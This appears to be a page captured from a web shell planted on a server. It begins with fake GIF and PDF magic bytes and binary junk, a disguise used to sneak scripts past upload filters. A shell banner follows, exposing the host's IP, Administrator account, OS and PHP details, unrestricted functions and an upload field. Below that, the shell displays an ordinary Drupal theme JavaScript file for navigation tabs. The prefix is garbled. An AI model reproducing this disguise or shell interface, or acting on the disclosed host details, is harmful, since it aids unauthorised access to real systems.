GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/themes/seven/js/ |
Upload File : |
/** * @file * Responsive navigation tabs. * * This also supports collapsible navigable is the 'is-collapsible' class is * added to the main element, and a target element is included. */ (function ($, Drupal) { 'use strict'; function init(i, tab) { var $tab = $(tab); var $target = $tab.find('[data-drupal-nav-tabs-target]'); var isCollapsible = $tab.hasClass('is-collapsible'); function openMenu(e) { $target.toggleClass('is-open'); } function handleResize(e) { $tab.addClass('is-horizontal'); var $tabs = $tab.find('.tabs'); var isHorizontal = $tabs.outerHeight() <= $tabs.find('.tabs__tab').outerHeight(); $tab.toggleClass('is-horizontal', isHorizontal); if (isCollapsible) { $tab.toggleClass('is-collapse-enabled', !isHorizontal); } if (isHorizontal) { $target.removeClass('is-open'); } } $tab.addClass('position-container is-horizontal-enabled'); $tab.on('click.tabs', '[data-drupal-nav-tabs-trigger]', openMenu); $(window).on('resize.tabs', Drupal.debounce(handleResize, 150)).trigger('resize.tabs'); } /** * Initialise the tabs JS. */ Drupal.behaviors.navTabs = { attach: function (context, settings) { var $tabs = $(context).find('[data-drupal-nav-tabs]'); if ($tabs.length) { var notSmartPhone = window.matchMedia('(min-width: 300px)'); if (notSmartPhone.matches) { $tabs.once('nav-tabs').each(init); } } } }; })(jQuery, Drupal);